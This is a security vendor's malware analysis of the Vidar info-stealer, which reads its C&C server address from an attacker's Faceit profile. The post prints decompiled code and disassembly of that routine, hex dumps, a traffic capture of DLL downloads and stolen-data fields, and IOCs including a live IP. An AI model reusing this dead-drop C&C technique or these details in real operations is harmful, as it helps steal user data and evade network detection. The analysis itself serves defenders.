# Vidar Info-Stealer Abusing Game Platform

Assc asec.ahnlab.com/en/22932/

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The ASEC analysis team has recently found out that the Vidar info-stealer malware is abusing a game matching program named Faceit to create C&C server URL. Vidar is malware that has been steadily distributed from the past disguised as spam mail, PUP, and KMSAuto authentication tool.

Before it performs info-stealing activities, it connects to C&C server to receive commands and download additional DLL files to collect user information. In the past, the malware simply connected to C&C server and received commands and additional files like other malware. Yet the recent Vidar abuses online gaming platforms to actually create C&C server.

Faceit is a platform which supports game matching for online game users. It supports various online games such as PLAYERUNKNOWN'S BATTLEGROUNDS, DOTA 2, and Counter Strike: Global Offensive.

# FACETT

#### CONNECT YOUR GAMES



List of games supported by Faceit

As for Vidar abusing the platform, it first creates an API URL for faceit.com before communicating with the C&C server. The URL created by the routine shown below is as follows: 'sslamlssa' is the attacker's Faceit ID.

- hxxps://api.faceit[.]com/core/v1/nicknames/sslamlssa

```
FaceItID = fn getFaceItID(v9);
                                               // "sslamlssa"
var_c2Path[11] = var_c2Path;
LOBYTE(v12) = 1;
fn_strcat((int)var_c2Path, enc_c2Path, FaceItID);// "/core/v1/nicknames/"
var_c2Path[12] = var_c2Url;
LOBYTE(v12) = 2;
std::string::string((const char *const)var c2Url);// "api.faceit.com"
LOBYTE(v12) = 1;
buff = (void *)fn_httpGet_FaceID(
                 (int)buf,
                 var c2Url[0],
                  (int)var c2Url[1],
                  (int)var_c2Url[2],
                  (int)var c2Url[3],
                  (int)var c2Url[4],
                                                                           Routine for
                  (unsigned int)var c2Url[5],
                  (int)var_c2Url[6],
                 var c2Path[0],
                 (int)var c2Path[1],
                  (int)var c2Path[2],
                  (int)var c2Path[3],
                  (int)var c2Path[4],
                  (unsigned int)var_c2Path[5]);
LOBYTE(v12) = 3;
sub_403FCA(String, buff);
sub_4025E8(buf, 1, 0);
LOBYTE(v12) = 0;
sub_4025E8(v9, 1, 0);
v3 = fn_findStr((const char *)enc_about, 0); // "about"
if ( v3 != -1 )
creating C&C URL
```

When Vidar requests HTTP GET for the URL shown above, it receives the json format data from faceit.com. The malware parses the 'about' part in the data, which is the actual URL for the C&C server.

- hxxp://188.34.193[.]205

004073A3	•	E8 DDCCFFFF	CALL fn_getFaceItID	22.fn_getFaceItI
004073A8	•	83EC 1C	SUB ESP,1C	
004073AB	•	8BCC	MOV ECX,ESP	
004073AD	•	8965 90	MOV DWORD PTR SS:[EBP-70],ESP	
004073B0	•	50	PUSH EAX	rArg3
004073B1	•	FF35 486D4900	PUSH DWORD PTR DS:[496D48]	<pre>Arg2 = ASCII "/core/v1/nicknames/"</pre>
004073B7	•	C645 FC 01	MOV BYTE PTR SS:[EBP-4],1	
004073BB	•	51	PUSH ECX	Arg1
004073BC	•	E8 D8D3FFFF	CALL fn_strcat	22.fn_strca
004073C1	•	83EC 10	SUB ESP,10	
004073C4	•	8BCC	MOV ECX,ESP	
004073C6	•	8965 94	MOV DWORD PTR SS:[EBP-6C],ESP	
004073C9	•	FF35 286F490	PUSH DWORD PTR DS:[496F28]	<pre>Arg1 = ASCII "api.faceit.com"</pre>
004073CF	•	C645 FC 02	MOV BYTE PTR SS:[EBP-4],2	
004073D3	•	E8 D2CBFFFF	CALL std::string::string	22.std::string::strin
004073D8	•	8D45 9C	LEA EAX,[EBP-64]	
004073DB	•	50	PUSH EAX	
004073DC	•	C645 FC 01	MOV BYTE PTR SS:[EBP-4],1	
004073E0	•	E8 E6D0FFFF	CALL fn_httpGet_FaceID	
004073E5	•	83C4 3C	ADD ESP,3C	

Dest=004044CB (22.fn\_httpGet\_FaceID)

Address	Hep	Hex dump												ASCII				
02202FA0	7B	22	72	65	73	75	6C	74	22	ЗA	22	6F	6B	22	2C	22	{"result":"ok","	
02202FB0	70	61	79	6C	6F	61	64	22	ЗA	7B	22	63	6F	75	6E	74	payload":{"count	
02202FC0	72	79	22	ЗA	22	75	73	22	2C	22	72	65	67	69	73	74	ry":"us","regist	
02202FD0	72	61	74	69	6F	6E	5F	73	74	61	74	75	73	22	ЗA	22	ration_status":"	
02202FE0	61	63	74	69	76	65	22	2C	22	61	62	6F	75	74	22	ЗA	<pre>active","about":</pre>	
02202FF0	22	31	38	38	2E	33	34	2E									"188.34.193.205	
02203000	22	2C	22	6D	61	74	63	68	65	73	5F	6C	65	66	74	22	","matches_left"	
02203010	ЗA	30	2C	22	70	72	69	76	61	74	65	5F	74	6F	75	72	:0,"private_tour	

#### Data received from faceit.com

ISON	
env=prod	
message=Operation performed correctly.	
⊡ · payload	
<pre>intersect operation performed context,: payload activated_at=Mon Apr 26 15:50:42 UTC 2021 active_team_id=(null) country=us created_at=Mon Apr 26 15:50:43 UTC 2021 created_by=anonymous entity_type=user favorite_tournaments flag= friends_ids games guest_info guid=b7bc785d-4441-4b1f-9a6e-2cae3a87563a invitations_remaining=10 matches_left=0 matches_left=0 matches_not_played=0 membership i type=free memberships</pre>	API result for the malicious user
l free	

When logged in to faceit.com, the malware's C&C server address is shown in the ABOUT part of the profile page of the user 'sslamlssa'.

OVERVIEW	STATS	POSTS 0	VIDEOS	STREAM	FRIEN	os	FOL	LOWIN	IG
FOLLOWERS									
GAMES PLAYING	i				ABOUT				
	NO GAN	۰t.	188.34.193.2051						
					SOCIAL				
VIDEOS					Ģ	f	<b>¥</b>	You Tube	$\sim$

#### Malicious user's profile

If the attacker edits the About part and enters another address, the Vidar info-stealer will connect to the changed C&C server and continue to perform malicious activities. If Faceit's attacker account is not blocked, the attacker can repeatedly edit the C&C server to make the same malware connect to different C&C servers. It is likely that the attacker is using the method to bypass network detection for the C&C URL.

Vidar connects to the actual C&C servers established and receives DLL files needed for commands and info-stealing, and ultimately sends the stolen information to the C&C server. See the data sent below, which shows that Vidar's version is v38.6.

#	Result	Protocol	Host	URL	Body	Caching	Content-Type	Get Started 🖄 Statistics 🔍	Inspectors 🚀 AutoResponder
{ <sup>js</sup> } 146	200	HTTPS	api.faceit.com	/core/v1/nicknames/sslamlssa	1,066	max-age	application/json;charset=UTF-8	Headers TextView Syntax	View WebForms HexView
2 169	200	HTTP	188.34.193.205	/892	164		text/html; charset=UTF-8	QueryString	
171	200	HTTP	188.34.193.205	/freebl3.dll	334,288	max-age	application/x-msdos-program	Name	Value
173	200	HTTP	188.34.193.205	/mozglue.dll	137,168	max-age	application/x-msdos-program		
174	200	HTTP	188.34.193.205	/msvcp140.dll	440,120	max-age	application/x-msdos-program		
175 🗉	200	HTTP	188.34.193.205	/nss3.dll	1,246,160	max-age	application/x-msdos-program	Content-Type: multipart/form-d	ata is not yet fully supported.
177 🗉	200	HTTP	188.34.193.205	/softokn3.dll	144,848	max-age	application/x-msdos-program	Name	Value
179 🗉	200	HTTP	188.34.193.205	/vcruntime 140.dll	83,784	max-age	application/x-msdos-program	Content-Disposition: form-data:	
234	200	HTTP	188.34.193.205	1	33		text/html; charset=UTF-8	name="platform"	x64
								Content-Disposition: form-data; name="profile"	892
								Content-Disposition: form-data; name="user"	
								Content-Disposition: form-data; name="cccount"	0
								Content-Disposition: form-data; name="fcount"	4
								Content-Disposition: form-data; name="ver"	38.6
								Content-Disposition: form-data; name="ccount"	0

### Vidar's network behavior

When a suspicious-looking email arrives, users should not open the attachment file, try to use a genuine software at all times, and refrain from using suspicious websites and P2P. Also, update V3 to the latest version so that malware infection can be prevented.

AhnLab's anti-malware software, V3, detects and blocks the malware using the following aliases:

### [File Detection]

- Trojan/Win.Generic.C4452995 (2021.05.06.01)

# [Behavior Detection]

- Malware/MDP.Behavior.M1965
- Malware/MDP.Inject.M3034
- Malware/MDP.Behavior.M3108

# [IOC]

File 5a9c15ad92f14ce0b36726ccd4eb4ef7

# C&C

- hxxps://api.faceit[.]com/core/v1/nicknames/sslamlssa
- hxxp://188.34.193[.]205

Categories: Malware Information

Tagged as: Battleground, Counter Strike, Facelt, InfoStealer, vidar